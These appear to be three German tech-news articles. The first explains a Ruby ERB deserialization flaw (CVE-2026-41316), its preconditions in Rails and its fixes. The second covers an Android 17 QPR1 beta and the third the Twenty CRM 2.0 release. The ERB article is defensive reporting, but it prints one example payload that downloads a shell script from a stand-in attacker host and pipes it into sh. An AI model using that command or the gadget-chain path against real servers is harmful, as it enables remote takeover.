Die unter CVE-2026-41316 (CERT-Bund: WID-SEC-2026-1187) registrierte Schwachstelle in Rubys Standard-Template-Bibliothek ERB hebelt den eingebauten Schutz gegen schädliche Deserialisierung aus. Besonders Rails-Anwendungen sind betroffen, die Daten einer Marshal-Serialisierung aus unsicheren Quellen verarbeiten. Mögliche Folge: Remote Code Execution.

Das Ruby-Team hat die Sicherheitslücke am 21. April 2026 veröffentlicht und gleichzeitig einen Fix bereitgestellt. Der Fehler umgeht einen in ERB fest eingebauten Schutzmechanismus gegen schädliche Deserialisierung. Über eine sogenannte Gadget-Chain können Angreifer die Lücke zu Remote Code Execution (RCE) auf dem Server ausnutzen. Entdeckt und gemeldet hat die Schwachstelle TristanInSec.

GitHub vergibt für die Lücke einen CVSS-3.1-Score von 8.1 (High), CERT-Bund stuft sie als kritisch ein. Der Unterschied spiegelt die jeweilige Bewertungslogik wider: CVSS berücksichtigt die erschwerende Komplexität für die Ausnutzung (Metrik AC:H), weil die Lücke zusätzliche Voraussetzungen aufseiten der Anwendung benötigt. CERT-Bund orientiert sich stärker am Schadenspotenzial im Erfolgsfall, also an der möglichen RCE-Wirkung.

Das GitHub Security Advisory enthält neben der technischen Beschreibung einen funktionierenden Proof-of-Concept, der die Ausnutzung mit wenigen Zeilen Ruby-Code demonstriert.

Was ist betroffen?

Verwundbar sind alle Versionen des erb-Gems bis einschließlich 6.0.3. Damit liefert faktisch jede aktuelle Rails-Installation eine verwundbare ERB-Version mit. Tatsächlich angreifbar ist eine Anwendung aber nur, wenn beide folgenden Bedingungen zutreffen:

• Die Anwendung ruft an irgendeiner Stelle mit Marshal.load Daten auf, die ein Angreifer unter Kontrolle hat.
• Zur Laufzeit ist neben ERB auch ActiveSupport geladen, was bei jeder Rails-Anwendung automatisch der Fall ist.

Typische Orte, an denen Marshal.load in einer Ruby- oder Rails-Anwendung überhaupt zum Einsatz kommt, sind Rails.cache mit dem Default-Serializer Marshal, Import-Endpunkte für Marshal-Dumps sowie Marshal-kodierte Session-Cookies älterer Rails-Versionen. Die Job-Queues Sidekiq und Resque serialisieren per JSON und sind hier unauffällig. Ein konkretes Risiko entsteht an diesen Stellen aber erst, wenn dort tatsächlich vom Angreifer kontrollierbare Daten ankommen können, etwa bei einem offen erreichbaren Cache, einem geleakten secret_key_base oder einem ungeschützten Import-Endpunkt.

Ein erfolgreicher Angriff beschert dem Täter vollständige Code-Ausführung im Kontext des Ruby-Prozesses. Typische Szenarien reichen vom Auslesen sensibler Daten über das Platzieren von Backdoors bis zur vollständigen Übernahme der Anwendung und lateraler Bewegung ins interne Netz.

Marshal-Abhängigkeiten überprüfen

Wer Marshaling nicht selbst aktiv einsetzt, kann sich auf Punkt 1 beschränken: Gem aktualisieren, fertig. Punkt 2 richtet sich an Entwickler, die Marshal bewusst einsetzen oder in einer Abhängigkeit vermuten.

1. Gem aktualisieren: bundle update erb. Gepatchte Versionen sind 4.0.3.1, 4.0.4.1, 6.0.1.1 sowie 6.0.4. Das Update schließt die Lücke unabhängig von der verwendeten Ruby-Version.
2. Marshal-Stellen prüfen: Alle Aufrufe von Marshal.load im eigenen Code und in Abhängigkeiten identifizieren. An jeder Stelle, wo die gelesenen Daten aus einer nicht vertrauenswürdigen Quelle stammen könnten, muss dieser Pfad unterbrochen werden, etwa durch strikte Herkunftsvalidierung oder durch Umstellung auf ein in der Bauart sicheres Format an genau dieser Schnittstelle.

Hintergrund: Was sind ERB und Marshal?

ERB steht für „Embedded Ruby“ und ist Rubys Standard-Template-Engine. Die Bibliothek erlaubt es, Ruby-Code direkt in Textdateien einzubetten, vergleichbar mit PHP in HTML. Ruby ersetzt Platzhalter der Form <%= nutzer.name %> beim Rendern durch echte Werte, während <% ... %> Ruby-Code ohne Ausgabe ausführt. Ruby on Rails erzeugt mit ERB seine HTML-Views, aber auch YAML-Konfigurationen. E-Mails oder generierte Skripte basieren in vielen Ruby-Projekten auf ERB.

Weil Templates Code ausführen, gilt ERB seit jeher als sicherheitskritischer Codebereich: Wer die Template-Quelle kontrolliert, kontrolliert den Server.

Marshal ist Rubys eingebautes Binärformat für die Serialisierung von Objekten. Das braucht man überall dort, wo ein Ruby-Objekt den eigenen Prozess verlassen soll: um in einen Cache oder eine Datei geschrieben, an einen anderen Worker in einer Job-Queue übergeben oder über einen Prozess-Neustart hinweg aufbewahrt zu werden. Im Arbeitsspeicher ist ein Objekt eine Datenstruktur mit Verweisen, die außerhalb des Prozesses nicht existiert; als Byte-Sequenz wird daraus ein portabler Blob, den die Gegenseite wieder zurück in das ursprüngliche Objekt wandeln kann. Marshal.dump(obj) erzeugt diese Byte-Sequenz, Marshal.load(bytes) baut daraus das Objekt wieder zusammen. Das Konzept entspricht pickle in Python, serialize/unserialize in PHP oder ObjectInputStream in Java.

In Ruby- und Rails-Projekten taucht Marshal vorwiegend im Hintergrund auf: als Default-Serializer des Rails-Caches (Rails.cache), in Hintergrund-Job-Queues, in Session-Cookies älterer Rails-Versionen oder bei Interprozess-Kommunikation. Beim Rekonstruieren darf Marshal beliebige Klassen instanzieren und deren Callbacks auslösen. Deshalb gilt seit Jahren die Faustregel: Marshal.load niemals auf Daten anwenden, die aus nicht vertrauenswürdigen Quellen stammen.

Die Klasse von Angriffen, die genau diese Rekonstruktion für Remote Code Execution missbraucht, heißt Gadget-Chain. Im Ruby-Ökosystem sind solche Gadget-Chains seit rund einem Jahrzehnt dokumentiert; CVE-2026-41316 gilt laut GitHub-Advisory als sechste Generation funktionierender Marshal-Gadgets.

Der eigentliche Fehler: Ein vergessener Check

Genau diesen Angriffspfad wollte ERB eigentlich versperren. Der Konstruktor hinterlegt im Objekt ein internes Flag namens @_init, das auf ein sehr spezielles Marker-Objekt zeigt, die sogenannte Singleton-Klasse der ERB-Klasse. Vor der Auswertung eines Templates prüft ERB per Identitätsvergleich, ob @_init exakt auf dieses Marker-Objekt zeigt. Stimmt es, läuft die Auswertung. Stimmt es nicht, fliegt eine Exception mit der Meldung „not initialized“.

Der Clou liegt darin, dass Marshal dieses Marker-Objekt gar nicht serialisieren kann. Marshal identifiziert Klassen-Referenzen beim Speichern über ihren Konstantennamen und schlägt sie beim Laden unter diesem Namen wieder nach. Singleton-Klassen sind anonym, haben keinen Namen und existieren nur zur Laufzeit. Ein Versuch, ein frisches ERB-Objekt zu dumpen, scheitert sogar explizit mit TypeError: singleton can't be dumped. Für einen Angreifer heißt das: Er kann in einem selbst gebauten Marshal-Blob den Wert, den die Prüfung erwartet, nicht hinterlegen. Sein rekonstruiertes Objekt scheitert am Vergleich und darf keine Template-Auswertung auslösen. So weit, so gut gedacht.

Das Problem: Drei Methoden prüfen @_init nicht. def_method, def_module und def_class greifen direkt auf die Template-Quelle zu und führen sie aus, ohne den Guard zu konsultieren. Besonders def_module ist brisant, weil sie ohne Argumente aufrufbar ist und sich deshalb als letztes Glied einer Gadget-Chain eignet. Die eigentlich elegant konstruierte Schutzidee wird an drei vergessenen Stellen komplett umgangen.

Diese Lücke macht eine Anwendung nicht aus sich heraus angreifbar. Sie wird erst ausnutzbar, wenn an anderer Stelle bereits etwas schiefgelaufen ist. Voraussetzung ist immer, dass die Anwendung an irgendeiner Stelle Marshal.load auf Bytes anwendet, die ein Angreifer kontrolliert. Über ein normales Web-Formular allein lässt sich das nicht auslösen, denn Rails parst Formulareingaben nicht per Marshal. Der Angreifer braucht zusätzlich einen der folgenden Türöffner.

Türöffner 1: Geleakter secret_key_base und Marshal-Session-Cookies

Der historisch häufigste Weg zu einer Marshal-RCE in Rails: Der secret_key_base der Anwendung ist bereits kompromittiert, etwa durch ein versehentlich öffentliches Git-Repo, einen ungeschützten Backup-Dump oder eine Error-Seite mit Umgebungsvariablen. Wer diesen Schlüssel besitzt, kann gültige Session-Cookies selbst signieren.

Hat eine ältere Rails-Installation zusätzlich Cookie-basierte Sessions mit Marshal-Serialisierung konfiguriert, erzeugt der Angreifer ein präpariertes Cookie, das bei der Deserialisierung eine Gadget-Chain auslöst und am Ende def_module auf einem ERB-Objekt aufruft. Dessen Template-Quelle enthält Ruby-Code des Angreifers, etwa system("curl angreifer.tld/shell.sh | sh"). Das Resultat: Remote Code Execution über einen normalen HTTP-Request, ohne Zugriff auf interne Systeme.

Dieser Pfad betrifft vor allem ältere Installationen. Rails legt für neu erstellte Anwendungen ab Version 4.1 (2014) standardmäßig JSON statt Marshal für Cookie-Sessions fest; vor 4.1 erstellte Anwendungen mussten für diesen Wechsel explizit migriert werden. Wer nicht explizit auf :marshal festgepinnt ist, ist hier nicht angreifbar.

Ein geleakter secret_key_base ist für sich bereits ein kritischer Sicherheitsvorfall. Er erlaubt auch ohne diese CVE das Fälschen von Sessions und das Entschlüsseln sensibler Cookie-Inhalte. Die ERB-Lücke ist in diesem Szenario nicht die Ursache des Schadens, sondern der Verstärker, der aus dem Secret-Leak direkt eine Server-Übernahme macht.

Türöffner 2: Import-Endpunkte für Marshal-Dumps

Manche Anwendungen akzeptieren Marshal-Dumps als Datei-Upload, etwa zum Importieren von Konfigurationen oder zum Wiederherstellen von Zuständen. Landet ein solcher Upload ohne Validierung in Marshal.load, liefert der Angreifer sein Payload direkt.

Unabhängig von dieser CVE ist ein solcher Endpunkt allerdings eine grundlegend schlechte Designentscheidung. Rubys eigene Dokumentation warnt seit Jahren ausdrücklich davor, Marshal.load auf Daten aus nicht vertrauenswürdigen Quellen anzuwenden. In jeder realen Rails-Anwendung existieren zahlreiche Marshal-Gadget-Chains, von denen CVE-2026-41316 nur eine unter vielen ist. Wer einen Marshal-Upload akzeptiert, war auch schon vor dieser Lücke per RCE angreifbar und bleibt es danach, solange der Endpunkt existiert. Ein ERB-Update schließt ein einzelnes Gadget, nicht die Klasse. Die einzig saubere Antwort ist nicht patchen, sondern den Marshal-Pfad entfernen und auf ein Format mit Schema-Validierung wechseln, etwa JSON.

Türöffner 3: Schreibzugriff auf Cache oder Job-Queue

Wer Schreibzugriff auf Redis, Memcached oder eine Marshal-nutzende Job-Queue erlangt, kann präparierte Blobs ablegen, die beim nächsten Lesen via Marshal.load zu RCE führen (Cache-Poisoning). Der Schreibzugriff setzt allerdings voraus, dass der Cache-Server offen im Netz erreichbar, mit einem anderen kompromittierten Dienst geteilt oder anderweitig bereits zugänglich ist. In der Praxis eher ein Post-Exploitation- als ein Einstiegs-Szenario.

Fazit: Fehlkonfigurationen vermeiden

Wer saubere Basishygiene betreibt (Secrets nicht leaken, keine Marshal-Uploads akzeptieren, Caches und Queues absichern), hat durch diese CVE allein kein verwertbares Einfallstor. Der Bug ist ein Verstärker für vorhandene Fehlkonfigurationen und geleakte Secrets, kein eigenständiger Fernzugriff. Patchen sollte man trotzdem zeitnah, denn der Bug vergrößert die Schadenwirkung fast jeder denkbaren Vorstufe.

(who)

Google hat die erste Beta von Android 17 QPR1 (Quarterly Platform Release) für Pixel-Geräte veröffentlicht. Die Vorabversion mit der Bildnummer CP31.260403.005.A1 kann auf dem Pixel 6 und neueren Modellen des Herstellers ausprobiert werden. Die fertige Version erscheint voraussichtlich im September als sogenannter „Pixel Drop“ für Googles Pixel-Geräte.

Android 17 QPR1 Beta laut Google stabil

Während das große Update auf Android 17 weitgehend fertig ist – es hat bereits im März Plattformstabilität erreicht, sodass Entwickler ihre Apps auf die neuen Schnittstellen auslegen können – arbeitet das Entwickler-Team bei Google am ersten QPR-Release auf Basis der neuen Android-Version.

Damit ist Google in diesem Jahr schneller als im vergangenen: Die erste QPR1-Beta von Android 16 erschien erst Ende Mai 2025. Das dürfte aber damit zu tun haben, dass Google zuerst die größeren Designänderungen, die mit Material 3 Expressive einhergingen, im Zuge der Android Show im Mai erklären wollte. In diesem Jahr gibt es mit Android 17 nicht schon wieder ein großes optisches Update.

QPR-Versionen enthalten in der Regel neue Funktionen und Erweiterungen bestehender Features. Die erste Beta von Android 17 QPR1 scheint indes keine Neuerungen an Bord zu haben. Stattdessen enthält das Update in erster Linie Fehlerkorrekturen. Zudem sagt Google, dass diese Version über keine neuen Schnittstellen verfüge – diese werden nur halbjährlich ausgeliefert, wie das Unternehmen bereits im Jahr 2024 mitteilte. Neue Schnittstellen sind zum einen im Major Release (etwa Android 16 und 17) und zum anderen in der QPR2 enthalten, die in der Regel im Dezember veröffentlicht wird. Dabei seien die Schnittstellenänderungen der QPR2 „weitgehend additiv und so konzipiert, dass zusätzliche App-Tests auf ein Minimum reduziert werden“ könnten, sagt Google.

Der Hersteller erklärt ferner, dass „diese Builds für den allgemeinen Gebrauch geeignet“ seien. Bei den Entwicklervorschauen und Betaversionen für noch nicht veröffentlichte Hauptversionen sei das nicht der Fall.

Bugfixes

Das Update behebt Google zufolge einige bekannte Probleme. So behebt die neue Version einen Fehler im Standarddruckdienst, „der bei niedrigem Tintenstand auftrat und verhinderte, dass Nutzer Druckaufträge abschließen konnten“ (Problem #487545419). Weiter fixt Google in der QPR1 Beta 1 einen Fehler in der Terminal-App, bei der ein ANR-Fehler („App antwortet nicht“) ausgelöst wurde, ‚der dazu führt, dass die App und das Gerät nicht mehr reagieren’“ (Problem #497465940).

Weiter adressiert das Update ein Problem, „bei dem die unkontrollierbare Hardware-Audioverarbeitung auf dem Sprachkommunikationspfad zu Verzerrungen und Phasenauslöschung in VoIP-Anwendungen führte“ (Problem #494843726). Außerdem löst die Aktualisierung einen Fehler, der bei der direkten Audioausgabe auftritt. Es kam vor, dass auf Geräten, die AIDL-Audio-HAL verwenden, die Audioausgabe nicht geöffnet wurde, wenn Audiostreams länger als fünf Sekunden wiedergegeben wurden (Problem #372064012), so Google.

Warten auf Android 17

Google macht darauf aufmerksam, dass Beta-Nutzer, die die bald erscheinende stabile Version von Android 17 auf ihrem Pixel-Gerät installieren wollen, die angebotene QPR-Beta nicht installieren sollen. Wer die stabile Android-17-Version erhalten möchte, müsse sich zudem vom Betaprogramm abmelden und auf das finale Update warten, auf diesem Wege blieben alle Daten auf dem Gerät erhalten.

Falls man sich nach der Installation der Beta 1 oder zukünftigen Updates aus dem Betaprogramm abmeldet, „werden alle Benutzerdaten auf dem Gerät gemäß den üblichen Programmrichtlinien gelöscht“, erklärt das Unternehmen weiter.

(afl)

Mit Version 2.0.0 erhält das Open-Source-CRM Twenty ein umfangreiches Update. Das Release setzt Schwerpunkte auf KI-Integration, Performance-Optimierungen und Infrastruktur für Self-Hosting und Cloud-Deployments. Zudem bündelt es Verbesserungen am SDK, erweitert die Mechanismen für Authentifizierung und Integration und bringt zahlreiche Optimierungen an Oberfläche und Stabilität.

Twenty ist eine Open-Source-Software fürs Customer-Relationship-Management und versteht sich als entwicklerfreundliche Alternative zu etablierten CRM-Systemen wie Salesforce. Im Zentrum stehen ein modularer Aufbau, ein eigenes SDK sowie Self-Hosting und die Anbindung externer Dienste.

KI-Integration über MCP

Einen Schwerpunkt des Releases bildet der Ausbau der KI-Funktionen und ihre Integration in externe Systeme. Intern wird Agent zu Ai umbenannt, ergänzt um neue Fehlercodes für typische Zustände wie fehlende Threads oder Nachrichten. Zudem verbessert Twenty die Anbindung externer KI-Clients über OAuth und das Model Context Protocol. MCP verbindet KI-Modelle standardisiert mit Anwendungen – etwa über OAuth-gesicherte Schnittstellen. In der Praxis kann damit etwa ein LLM-Client wie Claude direkt auf CRM-Daten zugreifen, abgesichert über etablierte Authentifizierungsmechanismen.

Schlankeres SDK und neue Deployment-Optionen

Für Entwickler bringt Version 2.0 vor allem tiefgreifende Änderungen am SDK. Dieses ist nun in Subpaths aufgeteilt, sodass Anwendungen gezielt nur die benötigten Module laden. Die Bundle-Größe für Logic Functions schrumpft dadurch drastisch – laut Entwicklerangaben um den Faktor 700. Vor allem in Serverless-Umgebungen profitieren Nutzer: Kleinere Bundles verkürzen Cold Starts und verbessern die Performance. Hinzu kommen neue Funktionen für App-Manifeste, etwa zur Definition von Sortierlogiken.

Auch bei der Infrastruktur legt Twenty nach. Neue Docker-Targets und -Konfigurationen erleichtern Deployments, insbesondere im Zusammenspiel mit AWS EKS. Auch beim Self-Hosting baut Twenty die kommerziellen Funktionen aus: Das Release ergänzt Abläufe für Lizenzierung und Abrechnung, darunter Checkout, Aktivierung, Statusabfrage und Sitzplatzverwaltung.

Härtung von Authentifizierung und Performance

Bei der Sicherheit und Authentifizierung gibt es mehrere Änderungen, die vor allem für den produktiven Einsatz relevant sind. Public Clients sichern OAuth nun zwingend mit PKCE (Proof Key for Code Exchange) ab. Das erschwert Angriffe auf Authorization Codes. Zudem folgen die Implementierungen nun den Spezifikationen RFC 9728 und MCP. Für browserbasierte Clients korrigiert Twenty den WWW-Authenticate-Header. Zudem schließt das Release konkrete Schwachstellen, etwa rund um Prototype Pollution und unbegrenzt wachsende Attachments in socket.io.

Verbesserungen bei der Performance betreffen vor allem den Backend- und Serverless-Betrieb. Twenty nutzt nun einen Cache für ESM-Module über mehrere Lambda-Aufrufe hinweg und senkt so die Kosten wiederholter Initialisierung. Weitere Optimierungen beheben ineffiziente Datenbankabfragen, die zuvor durch unbeabsichtigte kartesische Produkte zu Timeouts führen konnten.

Überarbeitete Oberfläche und weitere Neuerungen

Auch die Oberfläche hat das Twenty-Team überarbeitet. Sie präsentiert sich unter dem Schlagwort „Hero 2.0“ in neuem Design. Hinzu kommen funktionale Verbesserungen wie Reset-Optionen für Layouts, ein Icon-Picker für Tabs und konsistentere UI-Komponenten. Das Admin-Panel läuft jetzt über einen eigenen GraphQL-Endpunkt, was die Verantwortlichkeiten klarer trennt.

Zudem führt Twenty einen SVG-Export ein und verbessert die Steuerung von Metadaten und Events. Letztere sind nun stärker an einzelne Nutzer gebunden, sodass sich Benachrichtigungen und Datenströme gezielter isolieren lassen.

Flankiert wird das Release von umfangreichen i18n-Updates für Oberfläche und Dokumentation sowie einer überarbeiteten Website samt Sitemap und robots.txt. Hinzu kommen zahlreiche kleinere Bugfixes, Refactorings und Stabilitätsverbesserungen. Die vollständige Liste der Änderungen findet sich in den Release Notes auf GitHub.

(fo)